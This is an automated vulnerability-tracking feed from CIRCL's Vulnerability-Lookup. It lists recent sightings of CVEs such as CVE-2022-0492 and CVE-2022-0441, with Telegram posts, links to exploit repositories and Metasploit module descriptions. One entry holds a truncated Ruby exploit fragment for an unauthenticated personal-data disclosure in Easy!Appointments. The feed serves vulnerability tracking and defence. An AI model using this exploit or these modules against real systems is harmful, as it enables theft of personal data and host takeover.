https://vulnerability.circl.lu/sightings/feed 2026-09-17T10:53:30.866532+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/3c8c6208-cb3f-4065-843e-37b02c0decd7/export 2026-09-17T10:53:30.876794+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "3c8c6208-cb3f-4065-843e-37b02c0decd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0441", "type": "published-proof-of-concept", "source": "https://t.me/cissp/5960", "content": "exploit\n1. CVE-2021-25003:\nWordPress Plugin WPCargo < 6.9.0 - Unauthenticated RCE\nhttps://github.com/biulove0x/CVE-2021-25003\n\n2. CVE-2022-0441:\nWordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation\nhttps://github.com/biulove0x/CVE-2022-0441\n\n3. Bypassing .NET Serialization Binders:\nCase studies for DevExpress (CVE-2022-28684) and Microsoft Exchange (CVE-2022-23277)\nhttps://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html", "creation_timestamp": "2026-09-11T00:00:47.534039Z"} 2026-09-11T00:00:47.534039+00:00 https://vulnerability.circl.lu/sighting/97975bac-ddb7-4a0e-ad04-e89b2d79e0d3/export 2026-09-17T10:53:30.878615+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "97975bac-ddb7-4a0e-ad04-e89b2d79e0d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0492", "type": "seen", "source": "https://t.me/cissp/5722", "content": "Analytics\nTop 10 Most Used Vulns of the Month\n\nCVE-2022-1096 - Type Confusion in V8\nhttps://github.com/Maverick-cmd/Chrome-and-Edge-Version-Dumper\n\nCVE-2022-0847 - Dirty Pipe Vuln\n\nCVE-2022-0778 - OpenSSL Illegal x.509 certificate construction\n\nCVE-2022-0492 - Privilege escalation vuln causing container escape\nhttps://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig\n\nCVE-2022-22947 - Spring Cloud Gateway RCE\n\nCVE-2022-22963 - Spring Core RCE\n\nCVE-2022-25636 - net/netfilter/nf_dup_netdev.c in the Linux kernel <5.6.10 allows local users to gain privileges because of a heap out-of-bounds write\n\nCVE-2022-27254 - Vuln in Honda's Remote Keyless System\nhttps://github.com/nonamecoder/CVE-2022-27254\n\nCVE-2022-0609 - https://blog.google/threat-analysis-group/countering-threats-north-korea", "creation_timestamp": "2026-09-11T00:00:43.236593Z"} 2026-09-11T00:00:43.236593+00:00 https://vulnerability.circl.lu/sighting/213c4e04-750f-41b2-b67d-ecaaf5a919c5/export 2026-09-17T10:53:30.878756+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "213c4e04-750f-41b2-b67d-ecaaf5a919c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0492", "type": "published-proof-of-concept", "source": "https://t.me/cissp/5466", "content": "Imperva has reported that the website of one of its customers was recently the target of a ransom-driven DDoS attack that reached a peak of 2.5 million \ud83e\udd13requests per second (RPS).\nRead details: https://thehackernews.com/2022/03/imperva-thwarts-25-million-rps-ransom.html\n\nResearchers warn of a new high-risk vulnerability (CVE-2022-0492) affecting the Linux kernel's cgroups \ud83e\udd2ffeature that could potentially be abused to escape a container to execute arbitrary commands on the host.\nRead details: https://thehackernews.com/2022/03/new-linux-kernel-cgroups-vulnerability.html\n\nU.S. cybersecurity agency CISA has added a new batch of 95 actively exploited flaws to its \"Known Exploited Vulnerabilities Catalog.\"\ud83d\ude17\nRead: https://thehackernews.com/2022/03/cisa-adds-another-95-flaws-to-its.html\n\nMozilla has warned hundreds of millions of Firefox users about newly discovered 0-day bugs (CVE-2022-26485, CVE-2022-26486) that are being exploited in the wild.\ud83d\ude10\nhttps://thehackernews.com/2022/03/2-new-mozilla-firefox-0-day-bugs-under.html\nUpdate to Firefox 97.0.2, ESR 91.6.1, Android v97.3.0, Focus 97.3.0 & Thunderbird 91.6.2.\n\nUkrainian Computer Emergency Response Team (CERT-UA) warns of new phishing attacks against its citizens using compromised email accounts from Indian entities.\ud83e\udd78\nRead: https://thehackernews.com/2022/03/ukrainian-cert-warns-citizens-of.html\n\nNewly disclosed vulnerabilities in the operating system for TerraMaster NAS devices can be chained to achieve unauthorized RCE with highest privileges.\nhttps://thehackernews.com/2022/03/critical-bugs-in-terramaster-tos-could.html", "creation_timestamp": "2026-09-11T00:00:42.290959Z"} 2026-09-11T00:00:42.290959+00:00 https://vulnerability.circl.lu/sighting/ddf6c6ee-8c50-40f7-8192-6cb73d25c088/export 2026-09-17T10:53:30.878878+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "ddf6c6ee-8c50-40f7-8192-6cb73d25c088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0492", "type": "published-proof-of-concept", "source": "https://t.me/cissp/5466", "content": "Imperva has reported that the website of one of its customers was recently the target of a ransom-driven DDoS attack that reached a peak of 2.5 million \ud83e\udd13requests per second (RPS).\nRead details: https://thehackernews.com/2022/03/imperva-thwarts-25-million-rps-ransom.html\n\nResearchers warn of a new high-risk vulnerability (CVE-2022-0492) affecting the Linux kernel's cgroups \ud83e\udd2ffeature that could potentially be abused to escape a container to execute arbitrary commands on the host.\nRead details: https://thehackernews.com/2022/03/new-linux-kernel-cgroups-vulnerability.html\n\nU.S. cybersecurity agency CISA has added a new batch of 95 actively exploited flaws to its \"Known Exploited Vulnerabilities Catalog.\"\ud83d\ude17\nRead: https://thehackernews.com/2022/03/cisa-adds-another-95-flaws-to-its.html\n\nMozilla has warned hundreds of millions of Firefox users about newly discovered 0-day bugs (CVE-2022-26485, CVE-2022-26486) that are being exploited in the wild.\ud83d\ude10\nhttps://thehackernews.com/2022/03/2-new-mozilla-firefox-0-day-bugs-under.html\nUpdate to Firefox 97.0.2, ESR 91.6.1, Android v97.3.0, Focus 97.3.0 & Thunderbird 91.6.2.\n\nUkrainian Computer Emergency Response Team (CERT-UA) warns of new phishing attacks against its citizens using compromised email accounts from Indian entities.\ud83e\udd78\nRead: https://thehackernews.com/2022/03/ukrainian-cert-warns-citizens-of.html\n\nNewly disclosed vulnerabilities in the operating system for TerraMaster NAS devices can be chained to achieve unauthorized RCE with highest privileges.\nhttps://thehackernews.com/2022/03/critical-bugs-in-terramaster-tos-could.html", "creation_timestamp": "2026-09-10T11:00:04.273296Z"} 2026-09-10T11:00:04.273296+00:00 https://vulnerability.circl.lu/sighting/af674a21-30eb-4e1d-917b-951b7205dae5/export 2026-09-17T10:53:30.878993+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "af674a21-30eb-4e1d-917b-951b7205dae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0492", "type": "seen", "source": "https://t.me/cissp/5722", "content": "Analytics\nTop 10 Most Used Vulns of the Month\n\nCVE-2022-1096 - Type Confusion in V8\nhttps://github.com/Maverick-cmd/Chrome-and-Edge-Version-Dumper\n\nCVE-2022-0847 - Dirty Pipe Vuln\n\nCVE-2022-0778 - OpenSSL Illegal x.509 certificate construction\n\nCVE-2022-0492 - Privilege escalation vuln causing container escape\nhttps://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig\n\nCVE-2022-22947 - Spring Cloud Gateway RCE\n\nCVE-2022-22963 - Spring Core RCE\n\nCVE-2022-25636 - net/netfilter/nf_dup_netdev.c in the Linux kernel <5.6.10 allows local users to gain privileges because of a heap out-of-bounds write\n\nCVE-2022-27254 - Vuln in Honda's Remote Keyless System\nhttps://github.com/nonamecoder/CVE-2022-27254\n\nCVE-2022-0609 - https://blog.google/threat-analysis-group/countering-threats-north-korea", "creation_timestamp": "2026-09-10T10:00:05.109983Z"} 2026-09-10T10:00:05.109983+00:00 https://vulnerability.circl.lu/sighting/30e165be-0dfa-4e77-90c1-228c49e888dc/export 2026-09-17T10:53:30.879098+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "30e165be-0dfa-4e77-90c1-228c49e888dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0441", "type": "published-proof-of-concept", "source": "https://t.me/cissp/5960", "content": "exploit\n1. CVE-2021-25003:\nWordPress Plugin WPCargo < 6.9.0 - Unauthenticated RCE\nhttps://github.com/biulove0x/CVE-2021-25003\n\n2. CVE-2022-0441:\nWordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation\nhttps://github.com/biulove0x/CVE-2022-0441\n\n3. Bypassing .NET Serialization Binders:\nCase studies for DevExpress (CVE-2022-28684) and Microsoft Exchange (CVE-2022-23277)\nhttps://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html", "creation_timestamp": "2026-09-10T08:00:05.909699Z"} 2026-09-10T08:00:05.909699+00:00 https://vulnerability.circl.lu/sighting/9eeccbe0-3014-4f23-b83d-3b8c3ac7972e/export 2026-09-17T10:53:30.879199+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "9eeccbe0-3014-4f23-b83d-3b8c3ac7972e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0492", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/docker_cgroup_escape.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64, cmd\", \"author\": [\"h00die\", \"Yiqi Sun\", \"Kevin Wang\", \"T1erno\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.\\n If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.\\n\\n A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.\\n This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges\\n and bypass the namespace isolation unexpectedly.\\n\\n More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.\\n If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,\\n an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent\\n file is owned by root, so only a user with root access can modify it.\", \"disclosure_date\": \"2022-02-04\", \"fullname\": \"exploit/linux/local/docker_cgroup_escape\", \"is_install_path\": true, \"mod_time\": \"2026-05-25 09:47:44 +0000\", \"name\": \"Docker cgroups Container Escape\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/docker_cgroup_escape.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/docker_cgroup_escape\", \"references\": [\"URL-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af\", \"URL-https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/\", \"URL-https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC\", \"URL-https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492\", \"URL-https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh\", \"URL-https://pwning.systems/posts/escaping-containers-for-fun/\", \"URL-https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html\", \"URL-https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation\", \"URL-https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/\", \"CVE-2022-0492\"], \"rport\": null, \"session_types\": [\"meterpreter\"], \"targets\": [\"BINARY\", \"CMD\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:07.699412Z"} 2026-09-08T06:49:07.699412+00:00 https://vulnerability.circl.lu/sighting/12d96f2e-2e5d-4d05-9606-027e6f3faabf/export 2026-09-17T10:53:30.879321+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "12d96f2e-2e5d-4d05-9606-027e6f3faabf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0441", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"h00die\", \"Numan T\\u00fcrle\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"MasterStudy LMS, a WordPress plugin,\\n prior to 2.7.6 is affected by a privilege escalation where an unauthenticated\\n user is able to create an administrator account for wordpress itself.\", \"disclosure_date\": \"2022-02-18\", \"fullname\": \"auxiliary/admin/http/wp_masterstudy_privesc\", \"is_install_path\": true, \"mod_time\": \"2026-05-14 11:43:36 +0000\", \"name\": \"Wordpress MasterStudy Admin Account Creation\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"admin/http/wp_masterstudy_privesc\", \"references\": [\"CVE-2022-0441\", \"URL-https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6\", \"EDB-50752\", \"WPVDB-173c2efe-ee9c-4539-852f-c242b4f728ed\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:51.964312Z"} 2026-09-08T06:46:51.964312+00:00 https://vulnerability.circl.lu/sighting/67021206-96d8-4829-ba85-d27148d70a0b/export 2026-09-17T10:53:30.879426+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "67021206-96d8-4829-ba85-d27148d70a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0482", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49747", "content": "Exploit Collector\nEasy!Appointments Information Disclosure\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nEasy!Appointments versions prior to 1.4.3 suffers from an unauthenticated PII disclosure vulnerability.\n\nMD5 | 8155a1872473245af54963658039235f\n\nDownload\n#!/usr/bin/env ruby\n\n# Exploit\n## Title: Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure\n## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)\n## Author website: https://pwn.by/noraj/\n## Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482\n## Date: 2022-04-11\n## Vendor Homepage: https://easyappointments.org/\n## Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz\n## Version: < 1.4.3 (it means up to 1.4.2)\n## Tested on: Easy!Appointments Version 1.3.2\n## References: https://www.exploit-db.com/exploits/FIXME\n\n# Vulnerability\n## Discoverer: Francesco CARLUCCI\n## Date: 2022-01-30\n## Discoverer website: https://carluc.ci/\n## Discovered on OpenNetAdmin 1.4.2\n## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments\n## CVE: CVE-2022-0482\n## CWE: CWE-863\n## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c\n## References:\n## - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/\n## - https://github.com/alextselegidis/easyappointments/tree/1.4.2\n## - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml\n## - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/\n## - https://nvd.nist.gov/vuln/detail/CVE-2022-0482\n\nrequire 'date'\nrequire 'httpx'\nrequire 'docopt'\n\ndoc = \nEasy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure\n\nSource: https://github.com/Acceis/exploit-CVE-2022-0482\n\nUsage:\n#{__FILE__} http.cookies.first.value, # csrfCookie\n'startDate' => startDate.nil? ? '2015-01-11' : startDate,\n'endDate' => endDate.nil? ? Date.today.to_s : endDate\n}\n\nhttp.post(vuln_url, form: params)\nend\n\nbegin\nargs = Docopt.docopt(doc)\npp args if args['--debug']\n\nhttp = HTTPX.plugin(:cookies)\nfetch_csrf(args[' e\nputs e.message\nend\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T01:00:04.778087Z"} 2026-09-06T01:00:04.778087+00:00 https://vulnerability.circl.lu/sighting/c34853d7-d4ed-4ddc-85f7-7bc582f1f02b/export 2026-09-17T10:53:30.879541+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "c34853d7-d4ed-4ddc-85f7-7bc582f1f02b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0492", "type": "seen", "source": "https://t.me/cissp/5466", "content": "Imperva has reported that the website of one of its customers was recently the target of a ransom-driven DDoS attack that reached a peak of 2.5 million \ud83e\udd13requests per second (RPS).\nRead details: https://thehackernews.com/2022/03/imperva-thwarts-25-million-rps-ransom.html\n\nResearchers warn of a new high-risk vulnerability (CVE-2022-0492) affecting the Linux kernel's cgroups \ud83e\udd2ffeature that could potentially be abused to escape a container to execute arbitrary commands on the host.\nRead details: https://thehackernews.com/2022/03/new-linux-kernel-cgroups-vulnerability.html\n\nU.S. cybersecurity agency CISA has added a new batch of 95 actively exploited flaws to its \"Known Exploited Vulnerabilities Catalog.\"\ud83d\ude17\nRead: https://thehackernews.com/2022/03/cisa-adds-another-95-flaws-to-its.html\n\nMozilla has warned hundreds of millions of Firefox users about newly discovered 0-day bugs (CVE-2022-26485, CVE-2022-26486) that are being exploited in the wild.\ud83d\ude10\nhttps://thehackernews.com/2022/03/2-new-mozilla-firefox-0-day-bugs-under.html\nUpdate to Firefox 97.0.2, ESR 91.6.1, Android v97.3.0, Focus 97.3.0 & Thunderbird 91.6.2.\n\nUkrainian Computer Emergency Response Team (CERT-UA) warns of new phishing attacks against its citizens using compromised email accounts from Indian entities.\ud83e\udd78\nRead: https://thehackernews.com/2022/03/ukrainian-cert-warns-citizens-of.html\n\nNewly disclosed vulnerabilities in the operating system for TerraMaster NAS devices can be chained to achieve unauthorized RCE with highest privileges.\nhttps://thehackernews.com/2022/03/critical-bugs-in-terramaster-tos-could.html", "creation_timestamp": "2026-09-02T01:04:14.311488Z"} 2026-09-02T01:04:14.311488+00:00